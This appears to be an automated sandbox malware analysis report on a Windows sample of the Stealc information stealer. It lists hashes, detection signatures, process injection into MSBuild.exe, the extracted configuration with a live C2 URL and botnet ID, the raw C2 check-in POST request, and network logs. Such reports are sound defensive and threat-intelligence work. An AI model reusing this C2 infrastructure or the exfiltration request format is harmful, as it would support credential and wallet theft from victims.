Edit tour

Windows Analysis Report
5rVhexjLCx.exe

Overview

General Information

Sample name:	5rVhexjLCx.exe renamed because original name is a hash value
Original sample name:	0b1d171017be0462ff7522614f49afea.exe
Analysis ID:	1528264
MD5:	0b1d171017be0462ff7522614f49afea
SHA1:	de5bea1d68ac834060d2b88c667761f6be6d5e3b
SHA256:	548617ec6305c654f71be990786ad737c3fce173e319c78f78d074589f72dbdc
Tags:	32exetrojan
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Machine Learning detection for sample

Sigma detected: Silenttrinity Stager Msbuild Activity

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

5rVhexjLCx.exe (PID: 7000 cmdline: "C:\Users\user\Desktop\5rVhexjLCx.exe" MD5: 0B1D171017BE0462FF7522614F49AFEA)

MSBuild.exe (PID: 7028 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 7072 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 3156 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7000 -s 272 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://62.204.41.150/edd20096ecef326d.php", "Botnet": "default6_doz"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 5rVhexjLCx.exe PID: 7000	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 7072	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 7072	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.5rVhexjLCx.exe.5adad8.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5rVhexjLCx.exe.5adad8.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5rVhexjLCx.exe.580000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 62.204.41.150, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7072, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:21.755554+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	62.204.41.150	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 5rVhexjLCx.exe

Avira: detected

Found malware configuration

Source: 0.2.5rVhexjLCx.exe.5adad8.2.raw.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://62.204.41.150/edd20096ecef326d.php", "Botnet": "default6_doz"}

Multi AV Scanner detection for submitted file

Source: 5rVhexjLCx.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 5rVhexjLCx.exe

Joe Sandbox ML: detected

Source: 5rVhexjLCx.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:49743 version: TLS 1.2

Source: 5rVhexjLCx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\5rVhexjLCx.exe

Code function: 0_2_00599ABF FindFirstFileExW,

0_2_00599ABF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 62.204.41.150:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://62.204.41.150/edd20096ecef326d.php

Source: global traffic

TCP traffic: 192.168.2.4:60240 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.150Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /edd20096ecef326d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBKHost: 62.204.41.150Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 36 44 46 38 36 33 33 46 46 30 32 34 36 39 31 37 33 31 37 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 36 5f 64 6f 7a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="hwid"426DF8633FF02469173176------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="build"default6_doz------DGHIECGCBKFHIEBGHDBK--

Source: Joe Sandbox View

ASN Name: TNNET-ASTNNetOyMainnetworkFI TNNET-ASTNNetOyMainnetworkFI

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.150
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00406280 InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

2_2_00406280

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.150Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /edd20096ecef326d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBKHost: 62.204.41.150Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 36 44 46 38 36 33 33 46 46 30 32 34 36 39 31 37 33 31 37 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 36 5f 64 6f 7a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="hwid"426DF8633FF02469173176------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="build"default6_doz------DGHIECGCBKFHIEBGHDBK--

Source: MSBuild.exe, 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150
Source: MSBuild.exe, 00000002.00000002.1821798239.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/
Source: MSBuild.exe, 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/J
Source: MSBuild.exe, 00000002.00000002.1821798239.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/edd20096ecef326d.php
Source: MSBuild.exe, 00000002.00000002.1821798239.00000000016C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/edd20096ecef326d.php0
Source: MSBuild.exe, 00000002.00000002.1821798239.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/edd20096ecef326d.phpFd
Source: MSBuild.exe, 00000002.00000002.1821798239.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/edd20096ecef326d.phpnd
Source: MSBuild.exe, 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.150/n
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 60311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60334 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60411
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60419
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60417
Source: unknown	Network traffic detected: HTTP traffic on port 60437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60412
Source: unknown	Network traffic detected: HTTP traffic on port 60484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60421
Source: unknown	Network traffic detected: HTTP traffic on port 60369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60420
Source: unknown	Network traffic detected: HTTP traffic on port 60323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60428
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60427
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60425
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60423
Source: unknown	Network traffic detected: HTTP traffic on port 60495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60433
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60430
Source: unknown	Network traffic detected: HTTP traffic on port 60425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60319
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60439
Source: unknown	Network traffic detected: HTTP traffic on port 60255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60316
Source: unknown	Network traffic detected: HTTP traffic on port 60368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60434
Source: unknown	Network traffic detected: HTTP traffic on port 60496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60323
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60320
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60441
Source: unknown	Network traffic detected: HTTP traffic on port 60403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60440
Source: unknown	Network traffic detected: HTTP traffic on port 60289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60449
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60446
Source: unknown	Network traffic detected: HTTP traffic on port 60346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60324
Source: unknown	Network traffic detected: HTTP traffic on port 60380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60445
Source: unknown	Network traffic detected: HTTP traffic on port 60462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60500
Source: unknown	Network traffic detected: HTTP traffic on port 60416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60449 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60322 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60409
Source: unknown	Network traffic detected: HTTP traffic on port 60461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60400
Source: unknown	Network traffic detected: HTTP traffic on port 60300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60407
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60405
Source: unknown	Network traffic detected: HTTP traffic on port 60438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 60367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60381
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60380
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60378
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60377
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60254
Source: unknown	Network traffic detected: HTTP traffic on port 60263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60375
Source: unknown	Network traffic detected: HTTP traffic on port 60395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60374
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60373
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60494
Source: unknown	Network traffic detected: HTTP traffic on port 60286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60372
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60492
Source: unknown	Network traffic detected: HTTP traffic on port 60475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60259
Source: unknown	Network traffic detected: HTTP traffic on port 60498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60379
Source: unknown	Network traffic detected: HTTP traffic on port 60297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60271
Source: unknown	Network traffic detected: HTTP traffic on port 60245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60392
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60391
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60390
Source: unknown	Network traffic detected: HTTP traffic on port 60463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60389
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60387
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60385
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60263
Source: unknown	Network traffic detected: HTTP traffic on port 60302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60383
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60382
Source: unknown	Network traffic detected: HTTP traffic on port 60405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60361 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60269
Source: unknown	Network traffic detected: HTTP traffic on port 60275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60282
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60280
Source: unknown	Network traffic detected: HTTP traffic on port 60371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60279
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60399
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60398
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60397
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60273
